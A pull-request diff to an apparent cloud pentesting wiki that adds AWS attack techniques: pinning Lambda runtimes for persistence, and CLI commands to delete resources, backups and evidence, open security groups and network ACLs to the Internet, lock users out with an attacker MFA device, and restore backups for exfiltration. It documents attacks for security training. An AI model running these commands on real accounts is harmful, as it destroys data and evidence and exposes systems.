Merge pull request #225 from JaimePolop/master

update

Author: carlospolop

src/SUMMARY.md

@@ -304,6 +304,7 @@
     - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
     - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
     - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
+    - [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
     - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
     - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
     - [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md

@@ -87,6 +87,54 @@ This is stealthier than exposing a Function URL and doesn’t change the primary
 aws-lambda-alias-version-policy-backdoor.md
 {{#endref}}
 
+### Freezing AWS Lambda Runtimes
+
+An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes.
+
+The attacker modifies the runtime management configuration to pin the runtime version:
+
+```bash
+# Invoke the function to generate runtime logs
+aws lambda invoke \
+    --function-name $TARGET_FN \
+    --payload '{}' \
+    --region us-east-1 /tmp/ping.json
+
+sleep 5
+
+# Freeze automatic runtime updates on function update
+aws lambda put-runtime-management-config \
+    --function-name $TARGET_FN \
+    --update-runtime-on FunctionUpdate \
+    --region us-east-1
+```
+
+Verify the applied configuration:
+```bash
+aws lambda get-runtime-management-config \
+    --function-name $TARGET_FN \
+    --region us-east-1
+```
+
+Optional: Pin to a specific runtime version
+```bash
+# Extract Runtime Version ARN from INIT_START logs
+RUNTIME_ARN=$(aws logs filter-log-events \
+    --log-group-name /aws/lambda/$TARGET_FN \
+    --filter-pattern "INIT_START" \
+    --query 'events[0].message' \
+    --output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
+```
+
+Pin to a specific runtime version:
+
+```bash
+aws lambda put-runtime-management-config \
+    --function-name $TARGET_FN \
+    --update-runtime-on Manual \
+    --runtime-version-arn $RUNTIME_ARN \
+    --region us-east-1
+```
 
 {{#include ../../../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

@@ -10,6 +10,17 @@ For more information check:
 ../../aws-services/aws-cloudfront-enum.md
 {{#endref}}
 
+### `cloudfront:Delete*`
+An attacker granted cloudfront:Delete* can delete distributions, policies and other critical CDN configuration objects — for example distributions, cache/origin policies, key groups, origin access identities, functions/configs, and related resources. This can cause service disruption, content loss, and removal of configuration or forensic artifacts.
+
+To delete a distribution an attacker could use:
+
+```bash
+aws cloudfront delete-distribution \
+  --id <DISTRIBUTION_ID> \
+  --if-match <ETAG>
+```
+
 ### Man-in-the-Middle
 
 This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -588,6 +588,51 @@ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletio
 aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 
+### `dynamodb:UpdateTimeToLive`
+
+An attacker with the dynamodb:UpdateTimeToLive permission can change a table’s TTL (time-to-live) configuration — enabling or disabling TTL. When TTL is enabled, individual items that contain the configured TTL attribute will be automatically deleted once their expiration time is reached. The TTL value is just another attribute on each item; items without that attribute are not affected by TTL-based deletion.
+
+If items do not already contain the TTL attribute, the attacker would also need a permission that updates items (for example dynamodb:UpdateItem) to add the TTL attribute and trigger mass deletions.
+
+First enable TTL on the table, specifying the attribute name to use for expiration:
+
+```bash
+aws dynamodb update-time-to-live \
+  --table-name <TABLE_NAME> \
+  --time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
+```
+
+Then update items to add the TTL attribute (epoch seconds) so they will expire and be removed:
+
+```bash
+aws dynamodb update-item \
+  --table-name <TABLE_NAME> \
+  --key '<PRIMARY_KEY_JSON>' \
+  --update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
+  --expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
+```
+
+### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
+
+An attacker with dynamodb:RestoreTableFromAwsBackup or dynamodb:RestoreTableToPointInTime permissions can create new tables restored from backups or from point-in-time recovery (PITR) without overwriting the original table. The restored table contains a full image of the data at the selected point, so the attacker can use it to exfiltrate historical information or obtain a complete dump of the database’s past state.
+
+Restore a DynamoDB table from an on-demand backup:
+
+```bash
+aws dynamodb restore-table-from-backup \
+  --target-table-name <NEW_TABLE_NAME> \
+  --backup-arn <BACKUP_ARN>
+```
+
+Restore a DynamoDB table to a point in time (create a new table with the restored state):
+
+```bash
+aws dynamodb restore-table-to-point-in-time \
+  --source-table-name <SOURCE_TABLE_NAME> \
+  --target-table-name <NEW_TABLE_NAME> \
+  --use-latest-restorable-time
+````
+
 </details>
 
 **Potential Impact:** Continuous, near real-time exfiltration of table changes to an attacker-controlled Kinesis stream without direct read operations on the table.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -114,6 +114,36 @@ Create gateway or interface VPC endpoints to regain outbound access from isolate
 aws-vpc-endpoint-egress-bypass.md
 {{#endref}}
 
+### `ec2:AuthorizeSecurityGroupIngress`
+
+An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
+
+```bash
+aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
+```
+
+# `ec2:ReplaceNetworkAclEntry`
+An attacker with ec2:ReplaceNetworkAclEntry (or similar) permissions can modify a subnet’s Network ACLs (NACLs) to make them very permissive — for example allowing 0.0.0.0/0 on critical ports — exposing the entire subnet range to the Internet or to unauthorized network segments. Unlike Security Groups, which are applied per-instance, NACLs are applied at the subnet level, so changing a restrictive NACL can have a much larger blast radius by enabling access to many more hosts.
+
+```bash
+aws ec2 replace-network-acl-entry \
+  --network-acl-id <ACL_ID> \
+  --rule-number 100 \
+  --protocol <PROTOCOL> \
+  --rule-action allow \
+  --egress <true|false> \
+  --cidr-block 0.0.0.0/0
+```
+
+### `ec2:Delete*`
+
+An attacker with ec2:Delete* and iam:Remove* permissions can delete critical infrastructure resources and configurations — for example key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. This can cause immediate service disruption, data loss, and loss of forensic evidence.
+
+One example is deleting a security group:
+
+aws ec2 delete-security-group \
+  --group-id <SECURITY_GROUP_ID>
+
 ### VPC Flow Logs Cross-Account Exfiltration
 
 Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -181,6 +181,36 @@ aws iam update-server-certificate \
   --new-path /prod/
 ```
 
+### `iam:Delete*`
+
+The IAM wildcard iam:Delete* grants the ability to remove many kinds of IAM resources—users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. —and therefore has a very high blast radius: an actor granted iam:Delete* can permanently destroy identities, credentials, policies and related artifacts, remove audit/evidence, and cause service or operational outages. Some examples are
+
+```bash
+# Delete a user
+aws iam delete-user --user-name <Username>
+
+# Delete a role
+aws iam delete-role --role-name <RoleName>
+
+# Delete a managed policy
+aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
+```
+
+### `iam:EnableMFADevice`
+
+An actor granted the iam:EnableMFADevice action can register an MFA device on an identity in the account, provided the user did not already have one enabled. This can be used to interfere with a user’s access: once an attacker registers an MFA device, the legitimate user may be prevented from signing in because they do not control the attacker-registered MFA.
+
+This denial-of-access attack only works if the user had no MFA registered; if the attacker registers an MFA device for that user, the legitimate user will be locked out of any flows that require that new MFA. If the user already has one or more MFA devices under their control, adding an attacker-controlled MFA does not block the legitimate user — they can continue to authenticate using any MFA they already have.
+
+To enable (register) an MFA device for a user an attacker could run:
+```bash
+aws iam enable-mfa-device \
+  --user-name <Username> \
+  --serial-number arn:aws:iam::111122223333:mfa/alice \
+  --authentication-code1 123456 \
+  --authentication-code2 789012
+```
+
 ## References
 
 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

@@ -16,6 +16,14 @@ Lambda uses environment variables to inject credentials at runtime. If you can g
 
 By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
 
+### `lambda:Delete*`
+An attacker granted lambda:Delete* can delete Lambda functions, versions/aliases, layers, event source mappings and other associated configurations.
+
+```bash
+aws lambda delete-function \
+  --function-name <LAMBDA_NAME>
+```
+
 ### Steal Others Lambda URL Requests
 
 If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -40,6 +40,48 @@ aws rds modify-db-instance \
 # Connect to the new DB after a few mins
 ```
 
+### `rds:StopDBCluster` & `rds:StopDBInstance`
+An attacker with rds:StopDBCluster or rds:StopDBInstance can force an immediate stop of an RDS instance or an entire cluster, causing database unavailability, broken connections, and interruption of processes that depend on the database.
+
+To stop a single DB instance (example):
+
+```bash
+aws rds stop-db-instance \
+  --db-instance-identifier <DB_INSTANCE_IDENTIFIER>
+```
+
+To stop an entire DB cluster (example):
+
+```bash
+aws rds stop-db-cluster \
+  --db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
+```
+
+### `rds:Delete*`
+
+An attacker granted rds:Delete* can remove RDS resources, deleting DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts, causing immediate service outage, data loss, destruction of recovery points and loss of forensic evidence.
+
+```bash
+# Delete a DB instance (creates a final snapshot unless you skip it)
+aws rds delete-db-instance \
+  --db-instance-identifier <DB_INSTANCE_ID> \
+  --final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot
+
+# Delete a DB instance and skip final snapshot (more destructive)
+aws rds delete-db-instance \
+  --db-instance-identifier <DB_INSTANCE_ID> \
+  --skip-final-snapshot
+
+# Delete a manual DB snapshot
+aws rds delete-db-snapshot \
+  --db-snapshot-identifier <DB_SNAPSHOT_ID>
+
+# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
+aws rds delete-db-cluster \
+  --db-cluster-identifier <DB_CLUSTER_ID> \
+  --final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot
+```
+
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
 An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -33,6 +33,43 @@ To add further pressure, the attacker schedules the deletion of the KMS key used
 
 Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
 
+### `s3:RestoreObject`
+
+An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (backups, snapshots, logs, certifications, old secrets) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.
+
+```bash
+aws s3api restore-object \
+  --bucket <BUCKET_NAME> \
+  --key <OBJECT_KEY> \
+  --restore-request '{
+    "Days": <NUMBER_OF_DAYS>,
+    "GlacierJobParameters": { "Tier": "Standard" }
+  }'
+```
+
+### `s3:Delete*`
+
+An attacker with the s3:Delete* permission can delete objects, versions, and entire buckets, disrupt backups, and cause immediate and irreversible data loss, destruction of evidence, and compromise of backup or recovery artifacts.
+
+```bash
+# Delete an object from a bucket
+aws s3api delete-object \
+  --bucket <BUCKET_NAME> \
+  --key <OBJECT_KEY>
+
+# Delete a specific version
+aws s3api delete-object \
+  --bucket <BUCKET_NAME> \
+  --key <OBJECT_KEY> \
+  --version-id <VERSION_ID>
+
+# Delete a bucket
+aws s3api delete-bucket \
+  --bucket <BUCKET_NAME>
+```
+
+
+
 **For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}